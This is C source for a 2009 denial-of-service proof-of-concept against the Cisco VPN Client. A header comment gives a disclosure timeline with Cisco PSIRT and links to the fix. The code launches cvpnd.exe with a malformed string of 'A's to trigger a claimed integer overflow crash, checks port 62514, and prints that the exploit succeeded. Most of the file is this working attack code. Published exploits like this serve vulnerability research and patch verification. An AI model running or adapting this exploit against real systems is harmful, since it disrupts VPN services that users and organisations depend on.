/* * Cisco VPN Client 0day Integer overflow (DOS) Proof Of Concept Code * * By Alex Hernandez aka alt3kx (c) November 2009 * * This POC is only for test. If an application read a malformed chars * file like this POC, the application will be crashed. * * We tested this code on: * * Windows Vista Bussines SP1 Spanish * Windows Vista Home Premium SP1 English * Windows 2000 Server English * Windows XP Professional SP3 * * Cisco VPN client version 5.0.03.0560 * Cisco VPN client Version 5.0.04.0300 * Cisco VPN client Version 5.0.05.0290 * Cisco VPN client Version 4.8.02.0010 * * Compiled on VC++ win32 * * Friends: * sirdarckcat, nitr0us, hkm, crypkey, xDAWN, canit0, chr1x * * TT & DSRT * daSh, p4r4n01ds, darkslaker, beto, motis. * * Very special credits to: * * str0ke (milw0rm.com) * rathaus (securiteam.com) * FX (Phenoelit.de) * dSR! (segfault.es) * 0dd (0dd.com) * * * PH-Neutral 0x7d9, We hope to see u there intruders * * --------------- * Report Timeline * --------------- * 06/03/2009 The vulnerability was discovered. * 07/03/2009 Exploit/PoC code was developed (private). * 09/03/2009 Cisco PSIRT was notified about the issue. * 11/03/2009 Vendor response asking for details of the testing environment. * 12/03/2009 Test scenario explained and sent a PDF document with details. * 16/03/2009 Developers/PSIRT confirmed the vulnerability. * 19/03/2009 New test scenarios around new versions (CISCO VPN client). * 23/03/2009 CISCO PSIRT assing an internal tracking PSIRT-0676131279. * 23/03/2009 CISCO PSIRT assing an Bug ID-CSCsz49276. * 15/04/2009 New Advisory release (private). * 16/04/2009 New PSIRT feedback no ETA avaiable. * 23/04/2009 The development team working the fix. * 01/05/2009 The development team estimated one month to fix. * 01/06/2009 New PSIRT feedback, no ETA available. * 29/06/2009 The development team estimated one month to fix. * 28/07/2009 The development team working on maitenance release. * 28/07/2009 The development team estimated one month to fix. * 02/09/2009 New vulnerabilities found on CISCO VPN client. * 02/09/2009 The development team can not publish the new version 5.0.6. * 02/09/2009 The development team working on maitenance release. * 02/09/2009 The development team estimated one month to fix. * 10/09/2009 The BETA program should be finished by the end of Oct * and the client posted next month. * 07/10/2009 The development team estimated one month to fix. * 11/11/2009 New PSIRT feedback RNA avaiable. * 19/11/2009 The vulnerability goes public and PSIRT is informed. * 19/11/2009 Fix and details will available on CISCO Intellishield Alert & Bug Tool kit. * * CISCO Fix and Details: * * BugToolKit: * http://tools.cisco.com/Support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCsz49276 * * Intellishield Alert: * http://tools.cisco.com/security/center/viewAlert.x?alertId=19445 * */ #include <windows.h> #include <winsock.h> #include <stdio.h> #pragma comment ( lib, "ws2_32.lib" ) int CheckPortUDP( short int nPort ) { struct sockaddr_in nSockServer; WSADATA wsaData; int lBusy = 0; int nSocket; /* Initialization */ if( WSAStartup( 0x0101, &wsaData ) == 0 ) { /* Create Socket */ nSockServer.sin_family = AF_INET; nSockServer.sin_port = htons( nPort ); nSockServer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); /* Check UDP Protocol */ nSocket = socket( AF_INET, SOCK_DGRAM, 0 ); lBusy = ( bind( nSocket, (SOCKADDR FAR *) &nSockServer, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ); /* Close Socket if Busy */ if( lBusy ) closesocket( nSocket ); /* Close Winsock */ WSACleanup(); } /* Return */ return( lBusy ); } int CheckPortTCP( short int nPort ) { struct sockaddr_in nSockServer; WSADATA wsaData; int lBusy = 0; int nSocket; /* Initialization */ if( WSAStartup( 0x0101, &wsaData ) == 0 ) { /* Create Socket */ nSockServer.sin_family = AF_INET; nSockServer.sin_port = htons( nPort ); nSockServer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); /* Check TCP Protocol */ nSocket = socket( AF_INET, SOCK_STREAM, 0 ); lBusy = ( connect( nSocket, (struct sockaddr *) &nSockServer, sizeof( nSockServer ) ) == 0 ); /* Close Socket if Busy */ if( lBusy ) closesocket( nSocket ); /* Close Winsock */ WSACleanup(); } /* Return */ return( lBusy ); } int main(void) { char szPath[] = "C:\\Program Files\\Cisco Systems\\VPN Client\\cvpnd.exe"; //uncomment this line for Windows XP Spanish versions //char szPath[] = "C:\\Archivos de programa\\Cisco Systems\\VPN Client\\cvpnd.exe"; char buffer[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; PROCESS_INFORMATION pif; STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.cb = sizeof(si); BOOL bRet = CreateProcess( szPath, buffer, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pif); system("cls"); printf("\n .:: Cisco VPN Client 0day Integer overflow (DoS) Proof Of Concept Code ::.\n"); printf(" .:: By Alex Hernandez aka alt3kx (c) November 2009 .::\n\n"); /* Check for TCP Port */ if( CheckPortTCP(62514) ) printf("[+] Cisco VPN Client TCP port listening\t[OK!]\n"); else printf("[+] Cisco VPN Client TCP Port isn't Busy\t[Wrong!]\n"); /* Check for UDP Port */ if( CheckPortUDP(62514) ) printf("[+] Cisco VPN Client UDP port listening\t[OK!]\n"); else printf("[+] Cisco VPN Client UDP Port isn't Busy\t[Wrong!]\n"); if(bRet == FALSE){MessageBox(HWND_DESKTOP,"Unable to start program check the default PATH Cisco VPN Client cvpnd.exe\n","",MB_OK); return 1;} else if (bRet == TRUE){MessageBox(HWND_DESKTOP,"Attempting exploit Cisco VPN DoS exploit...","",MB_OK); printf("\n[+] Few seconds to crash the program...\n"); printf("[+] Exploit success...\n\n"); return 1;} CloseHandle(pif.hProcess); CloseHandle(pif.hThread); }